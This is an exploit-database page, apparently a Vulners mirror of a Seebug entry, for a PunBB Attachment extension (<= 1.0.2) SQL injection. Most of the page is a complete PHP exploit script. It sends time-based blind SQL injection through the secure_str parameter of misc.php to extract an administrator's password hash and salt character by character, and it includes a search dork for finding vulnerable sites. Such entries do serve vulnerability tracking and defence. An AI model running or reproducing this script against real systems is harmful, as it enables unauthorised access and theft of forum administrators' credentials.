Lucene search
K

PunBB Extension Attachment <= 1.0.2 - SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

PunBB Extension Attachment SQL Injection exploit by puret_

Code

                                                #!/usr/bin/php
&#60;?php

print_r(&#39;
+--------------------------------------------------------------------------
-+
Punbb Extension Attachment &#60;= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &#34;Powered by PunBB&#34;
+--------------------------------------------------------------------------
-+
&#39;);
/**
* works regardless of php.ini settings
*/
if ($argc &#60; 3) {
print_r(&#39;
+--------------------------------------------------------------------------
-+
Usage: php &#39;.$argv[0].&#39; host path
host: target server (ip/hostname)
path: path to punbb
Example:
php &#39;.$argv[0].&#39; localhost /punbb/
+--------------------------------------------------------------------------
-+
&#39;);
exit;
}

error_reporting(7);
ini_set(&#39;max_execution_time&#39;, 0);

$host = $argv[1];
$path = $argv[2];

$pre = &#39;pun_&#39;;

$benchmark = 200000000;
$timeout = 10;

echo &#34;Plz Waiting...\nPassword:\n&#34;;
/**
* get pass
*/
$j = 1;
$pass = &#39;&#39;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) &#60; 40) {
for ($i = 0; $i &#60;= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd =
&#39;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20&#39;.$pre.&#39;us
ers%20WHERE%20group_id=1%20LIMIT%201),&#39;.$j.&#39;,1))=&#39;.$i.&#39;),BENCHMARK(&#39;.$bench
mark.&#39;,CHAR(0)),1))%23&#39;;
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime &#62; $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit(&#34;\nExploit Failed!\n&#34;);
}
$j ++;
}

echo &#34;\nSalt:\n&#34;;
/**
* get salt
*/
$j = 1;
$salt = &#39;&#39;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) &#60; 12) {
for ($i = 0; $i &#60;= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd =
&#39;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20&#39;.$pre.&#39;users%
20WHERE%20group_id=1%20LIMIT%201),&#39;.$j.&#39;,1))=&#39;.$i.&#39;),BENCHMARK(&#39;.$benchmark
.&#39;,CHAR(0)),1))%23&#39;;
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime &#62; $timeout) {
$salt .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit(&#34;\nExploit Failed!\n&#34;);
}
$j ++;
}

exit(&#34;\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n&#34;);

function send()
{
global $host, $path, $cmd;

$data = &#34;GET &#34;.$path.&#34;misc.php?item=1&secure_str=&#34;.$cmd.&#34;
HTTP/1.1\r\n&#34;;
$data .= &#34;Host: $host\r\n&#34;;
$data .= &#34;Connection: Close\r\n\r\n&#34;;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = &#39;&#39;;

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16